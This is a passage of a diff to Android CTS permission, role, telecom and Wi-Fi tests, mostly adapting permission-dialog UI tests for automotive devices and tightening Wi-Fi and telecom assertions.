+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -4818,7 +4818,7 @@
     <!-- @SystemApi Allows an application to turn on / off quiet mode.
          @hide -->
     <permission android:name="android.permission.MODIFY_QUIET_MODE"
-                android:protectionLevel="signature|privileged|wellbeing" />
+                android:protectionLevel="signature|privileged|wellbeing|development" />
 
     <!-- Allows internal management of the camera framework
          @hide -->
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 18224dd..5450014 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -66,8 +66,8 @@
             = "android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS";
 
     private static final Date MANAGE_COMPANION_DEVICES_PATCH_DATE = parseDate("2020-07-01");
-    private static final String MANAGE_COMPANION_DEVICES_PERMISSION =
-            "android.Manifest.permission.MANAGE_COMPANION_DEVICES";
+    private static final String MANAGE_COMPANION_DEVICES_PERMISSION
+            = "android.permission.MANAGE_COMPANION_DEVICES";
 
     private static final String LOG_TAG = "PermissionProtectionTest";
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 47c1323..f4f97f71 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -21,6 +21,11 @@
 import android.content.Context
 import android.content.Intent
 import android.content.pm.PackageManager
+import android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE
+import android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE
+import android.content.pm.PackageManager.MATCH_SYSTEM_ONLY
+import android.content.pm.ResolveInfo
+import android.content.res.Resources
 import android.provider.Settings
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
@@ -52,6 +57,8 @@
     protected val uiAutomation: UiAutomation = instrumentation.uiAutomation
     protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
     protected val packageManager: PackageManager = context.packageManager
+    private val mPermissionControllerResources: Resources = context.createPackageContext(
+            getPermissionControllerPackageName(), 0).resources
 
     @get:Rule
     val activityRule = ActivityTestRule(StartForFutureActivity::class.java, false, false)
@@ -87,6 +94,27 @@
         pressHome()
     }
 
+    protected fun getPermissionControllerString(res: String): String =
+            mPermissionControllerResources.getString(mPermissionControllerResources
+                    .getIdentifier(res, "string", "com.android.permissioncontroller"))
+
+    private fun getPermissionControllerPackageName(): String {
+        val intent = Intent("android.intent.action.MANAGE_PERMISSIONS")
+        intent.addCategory(Intent.CATEGORY_DEFAULT)
+        val packageManager: PackageManager = context.getPackageManager()
+        val matches: List<ResolveInfo> = packageManager.queryIntentActivities(intent,
+                MATCH_SYSTEM_ONLY or MATCH_DIRECT_BOOT_AWARE or MATCH_DIRECT_BOOT_UNAWARE)
+        return if (matches.size == 1) {
+            val resolveInfo: ResolveInfo = matches[0]
+            if (!resolveInfo.activityInfo.applicationInfo.isPrivilegedApp()) {
+                throw RuntimeException("The permissions manager must be a privileged app")
+            }
+            matches[0].activityInfo.packageName
+        } else {
+            throw RuntimeException("There must be exactly one permissions manager; found $matches")
+        }
+    }
+
     protected fun installPackage(
         apkPath: String,
         reinstall: Boolean = false,
@@ -117,8 +145,8 @@
         return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
     }
 
-    protected fun click(selector: BySelector) {
-        waitFindObject(selector).click()
+    protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+        waitFindObject(selector, timeoutMillis).click()
         waitForIdle()
     }
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 1f074fc..25e8962 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -68,6 +68,13 @@
         const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON =
                 "com.android.permissioncontroller:" +
                         "id/permission_no_upgrade_and_dont_ask_again_button"
+
+        const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
+        const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
+        const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
+        const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
+                "grant_dialog_button_deny_and_dont_ask_again"
+        const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT = "grant_dialog_button_no_upgrade"
     }
 
     enum class PermissionState {
@@ -78,6 +85,7 @@
 
     protected val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
     protected val isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)
+    protected val isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
 
     private val platformResources = context.createPackageContext("android", 0).resources
     private val permissionToLabelResNameMap =
@@ -192,11 +200,21 @@
     protected fun clearTargetSdkWarning() =
         click(By.res("android:id/button1"))
 
-    protected fun clickPermissionReviewContinue() =
-        click(By.res("com.android.permissioncontroller:id/continue_button"))
+    protected fun clickPermissionReviewContinue() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("review_button_continue")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/continue_button"))
+        }
+    }
 
-    protected fun clickPermissionReviewCancel() =
-        click(By.res("com.android.permissioncontroller:id/cancel_button"))
+    protected fun clickPermissionReviewCancel() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("review_button_cancel")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/cancel_button"))
+        }
+    }
 
     protected fun approvePermissionReview() {
         startAppActivityAndAssertResultCode(Activity.RESULT_OK) {
@@ -300,30 +318,55 @@
         block
     )
 
-    protected fun clickPermissionRequestAllowButton() =
-        click(By.res(ALLOW_BUTTON))
+    protected fun clickPermissionRequestAllowButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT)))
+        } else {
+            click(By.res(ALLOW_BUTTON))
+        }
+    }
 
     protected fun clickPermissionRequestSettingsLinkAndAllowAlways() {
+        clickPermissionRequestSettingsLink()
         eventually({
-            clickPermissionRequestSettingsLink()
             clickAllowAlwaysInSettings()
         }, TIMEOUT_MILLIS * 2)
         pressBack()
     }
 
     protected fun clickAllowAlwaysInSettings() {
-        click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("app_permission_button_allow_always")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+        }
     }
 
-    protected fun clickPermissionRequestAllowForegroundButton() =
-        click(By.res(ALLOW_FOREGROUND_BUTTON))
+    protected fun clickPermissionRequestAllowForegroundButton(timeoutMillis: Long = 10_000) {
+        if (isAutomotive) {
+            click(By.text(
+                    getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT)), timeoutMillis)
+        } else {
+            click(By.res(ALLOW_FOREGROUND_BUTTON), timeoutMillis)
+        }
+    }
 
-    protected fun clickPermissionRequestDenyButton() =
-        click(By.res(DENY_BUTTON))
+    protected fun clickPermissionRequestDenyButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(DENY_BUTTON_TEXT)))
+        } else {
+            click(By.res(DENY_BUTTON))
+        }
+    }
 
     protected fun clickPermissionRequestSettingsLinkAndDeny() {
         clickPermissionRequestSettingsLink()
-        click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("app_permission_button_deny")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+        }
+        waitForIdle()
         pressBack()
     }
 
@@ -331,9 +374,15 @@
         waitForIdle()
         eventually {
             // UiObject2 doesn't expose CharSequence.
-            val node = uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
-                    "com.android.permissioncontroller:id/detail_message"
-            )[0]
+            val node = if (isAutomotive) {
+                uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByText(
+                        "Allow in settings."
+                )[0]
+            } else {
+                uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
+                        "com.android.permissioncontroller:id/detail_message"
+                )[0]
+            }
             assertTrue(node.isVisibleToUser)
             val text = node.text as Spanned
             val clickableSpan = text.getSpans(0, text.length, ClickableSpan::class.java)[0]
@@ -343,20 +392,25 @@
         waitForIdle()
     }
 
-    protected fun clickPermissionRequestDenyAndDontAskAgainButton() =
-        click(
-            By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON)
-        )
+    protected fun clickPermissionRequestDenyAndDontAskAgainButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+        } else {
+            click(By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON))
+        }
+    }
 
+    // Only used in TV and Watch form factors
     protected fun clickPermissionRequestDontAskAgainButton() =
         click(By.res("com.android.permissioncontroller:id/permission_deny_dont_ask_again_button"))
 
-    protected fun clickPermissionRequestNoUpgradeButton() =
-        click(By.res(NO_UPGRADE_BUTTON))
-
-    protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() = click(
-        By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON)
-    )
+    protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+        } else {
+            click(By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON))
+        }
+    }
 
     protected fun grantAppPermissions(vararg permissions: String, targetSdk: Int = 30) {
         setAppPermissionState(*permissions, state = PermissionState.ALLOWED, isLegacyApp = false,
@@ -412,6 +466,10 @@
             }
             val wasGranted = if (isTv) {
                 false
+            } else if (isAutomotive) {
+                // Automotive doesn't support one time permissions, and thus
+                // won't show an "Ask every time" message
+                !waitFindObject(byTextRes(R.string.deny)).isChecked
             } else {
                 !(waitFindObject(byTextRes(R.string.deny)).isChecked ||
                     (!isLegacyApp && hasAskButton(permission) &&
@@ -423,24 +481,34 @@
             } else {
                 val button = waitFindObject(
                     byTextRes(
-                        when (state) {
-                            PermissionState.ALLOWED ->
-                                if (showsForegroundOnlyButton(permission)) {
-                                    R.string.allow_foreground
-                                } else if (isMediaStorageButton(permission, targetSdk)) {
-                                    R.string.allow_media_storage
-                                } else if (isAllStorageButton(permission, targetSdk)) {
-                                    R.string.allow_external_storage
-                                } else {
-                                    R.string.allow
-                                }
-                            PermissionState.DENIED ->
-                                if (!isLegacyApp && hasAskButton(permission)) {
-                                    R.string.ask
-                                } else {
-                                    R.string.deny
-                                }
-                            PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                        if (isAutomotive) {
+                            // Automotive doesn't support one time permissions, and thus
+                            // won't show an "Ask every time" message
+                            when (state) {
+                                PermissionState.ALLOWED -> R.string.allow
+                                PermissionState.DENIED -> R.string.deny
+                                PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                            }
+                        } else {
+                            when (state) {
+                                PermissionState.ALLOWED ->
+                                    if (showsForegroundOnlyButton(permission)) {
+                                        R.string.allow_foreground
+                                    } else if (isMediaStorageButton(permission, targetSdk)) {
+                                        R.string.allow_media_storage
+                                    } else if (isAllStorageButton(permission, targetSdk)) {
+                                        R.string.allow_external_storage
+                                    } else {
+                                        R.string.allow
+                                    }
+                                PermissionState.DENIED ->
+                                    if (!isLegacyApp && hasAskButton(permission)) {
+                                        R.string.ask
+                                    } else {
+                                        R.string.deny
+                                    }
+                                PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                            }
                         }
                     )
                 )
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 01b4058..f2f2a10 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -45,7 +45,7 @@
             SystemUtil.eventually({
                 if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
                         PackageManager.PERMISSION_DENIED) {
-                    waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 100).click()
+                    clickPermissionRequestAllowForegroundButton(100)
                 }
                 assertAppHasPermission(ACCESS_FINE_LOCATION, true)
             }, 10000)
@@ -54,6 +54,10 @@
         }
         // Permission should not be granted and dialog should still be showing
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
-        waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 1000)
+
+        // On Automotive the dialog gets closed by the tapjacking activity popping up
+        if (!isAutomotive) {
+            clickPermissionRequestAllowForegroundButton()
+        }
     }
 }
\ No newline at end of file
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
index e5a5ede..5d13748 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
@@ -161,7 +161,11 @@
         clickPermissionRequestSettingsLink()
         eventually {
             pressBack()
-            waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            if (isAutomotive) {
+                waitFindObject(By.textContains("Allow in settings."), 100)
+            } else {
+                waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            }
         }
     }
 
@@ -181,8 +185,9 @@
             android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
         ) {
             clickPermissionRequestSettingsLinkAndDeny()
+            waitForIdle()
+            pressBack()
         }
-        pressBack()
 
         assertAppHasPermission(android.Manifest.permission.ACCESS_FINE_LOCATION, false)
         assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, false)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 0abae86..1272355 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -49,6 +49,7 @@
 
         requestAppPermissionsAndAssertResult(ACCESS_BACKGROUND_LOCATION to true) {
             clickAllowAlwaysInSettings()
+            waitForIdle()
             pressBack()
         }
     }
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 60cac6a..00ddc34 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -255,6 +255,10 @@
         requestRole(ROLE_NAME);
         findDontAskAgainCheck().click();
         clickButtonAndWaitForResult(true);
+        // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+        // when the test app is force stopped, our task isn't force finished and our
+        // WaitForResultActivity can survive.
+        Thread.sleep(5000);
 
         clearPackageData(APP_PACKAGE_NAME);
         // Wait for the don't ask again to be forgotten.
@@ -285,6 +289,10 @@
         requestRole(ROLE_NAME);
         findDontAskAgainCheck().click();
         clickButtonAndWaitForResult(true);
+        // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+        // when the test app is uninstalled, our task isn't force finished and our
+        // WaitForResultActivity can survive.
+        Thread.sleep(5000);
 
         uninstallPackage(APP_PACKAGE_NAME);
         // Wait for the don't ask again to be forgotten.
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index 1bd1b27..dc26f6d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -95,6 +95,37 @@
         verifySimulateRingAndUserPickup(call, connection);
     }
 
+    public void testHoldAfterAudioProcessingFromCallScreening() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        setupIncomingCallWithCallScreening();
+
+        final MockConnection connection = verifyConnectionForIncomingCall();
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+        AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+        if (doesAudioManagerSupportCallScreening) {
+            assertAudioMode(audioManager, MODE_CALL_SCREENING);
+        }
+
+        verifySimulateRingAndUserPickup(call, connection);
+
+        call.hold();
+        assertCallState(call, Call.STATE_HOLDING);
+        call.unhold();
+        assertCallState(call, Call.STATE_ACTIVE);
+    }
+
     public void testAudioProcessingFromCallScreeningDisallow() throws Exception {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index 76085fa..ced02b8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -127,6 +127,8 @@
                     mMySync.pendingSync.set(MySync.NETWORK_INFO);
                     mMySync.expectedNetworkInfo = (NetworkInfo) intent.getExtra(
                             WifiP2pManager.EXTRA_NETWORK_INFO, null);
+                    Log.d(TAG, "Get WIFI_P2P_CONNECTION_CHANGED_ACTION: "
+                            + mMySync.expectedNetworkInfo);
                     mMySync.notify();
                 }
             }
@@ -520,6 +522,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
     }
 
     private String getDeviceName() {
@@ -604,6 +610,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
 
         WifiP2pGroupList persistentGroups = getPersistentGroups();
         assertNotNull(persistentGroups);
@@ -636,6 +646,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
 
         resetResponse(mMyResponse);
         ShellIdentityUtils.invokeWithShellPermissions(() -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
index 3e9fef4..4876ff0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
@@ -29,4 +29,9 @@
         PackageManager packageManager = context.getPackageManager();
         return packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI_DIRECT);
     }
+
+    public static boolean isTelephonySupported(Context context) {
+        final PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 0b548fb..fd61914 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -632,10 +632,10 @@
         MacAddress lastBlockedClientMacAddress;
         int lastBlockedClientReason;
         boolean onStateChangedCalled = false;
-        boolean onSoftapInfoChangedCalled = false;
         boolean onSoftApCapabilityChangedCalled = false;
         boolean onConnectedClientCalled = false;
         boolean onBlockedClientConnectingCalled = false;
+        int onSoftapInfoChangedCalledCount = 0;
 
         TestSoftApCallback(Object lock) {
             softApLock = lock;
@@ -647,9 +647,9 @@
             }
         }
 
-        public boolean getOnSoftapInfoChangedCalled() {
+        public int getOnSoftapInfoChangedCalledCount() {
             synchronized(softApLock) {
-                return onSoftapInfoChangedCalled;
+                return onSoftapInfoChangedCalledCount;
             }
         }
 
@@ -734,7 +734,7 @@
         public void onInfoChanged(SoftApInfo softApInfo) {
             synchronized(softApLock) {
                 currentSoftApInfo = softApInfo;
-                onSoftapInfoChangedCalled = true;
+                onSoftapInfoChangedCalledCount++;
             }
         }
 
@@ -1472,7 +1472,7 @@
                     executor.runAll();
                     // Verify callback is run on the supplied executor and called
                     return callback.getOnStateChangedCalled() &&
-                            callback.getOnSoftapInfoChangedCalled() &&
+                            callback.getOnSoftapInfoChangedCalledCount() > 0 &&
                             callback.getOnSoftApCapabilityChangedCalled() &&
                             callback.getOnConnectedClientCalled();
                 });
@@ -1633,8 +1633,9 @@
                     "SoftAp channel and state mismatch!!!", 5_000,
                     () -> {
                         executor.runAll();
-                        return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState() &&
-                                2462 == callback.getCurrentSoftApInfo().getFrequency();
+                        return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState()
+                                && (callback.getOnSoftapInfoChangedCalledCount() > 1
+                                ? 2462 == callback.getCurrentSoftApInfo().getFrequency() : true);
                     });
 
             // stop tethering which used to verify stopSoftAp
@@ -2311,9 +2312,11 @@
         // assert that the country code is all uppercase
         assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
 
-        String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
-                .getNetworkCountryIso();
-        assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        if (WifiFeature.isTelephonySupported(getContext())) {
+            String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+                    .getNetworkCountryIso();
+            assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        }
     }
 
     /**
@@ -2778,14 +2781,6 @@
             // Now trigger scan and ensure that the device does not connect to any networks.
             mWifiManager.startScan();
             ensureNotConnected();
-
-            // Toggle Wifi off/on should clean the state.
-            setWifiEnabled(false);
-            setWifiEnabled(true);
-
-            // Trigger a scan & wait for connection to one of the saved networks.
-            mWifiManager.startScan();
-            waitForConnection();
         } finally {
             uiAutomation.dropShellPermissionIdentity();
             setWifiEnabled(false);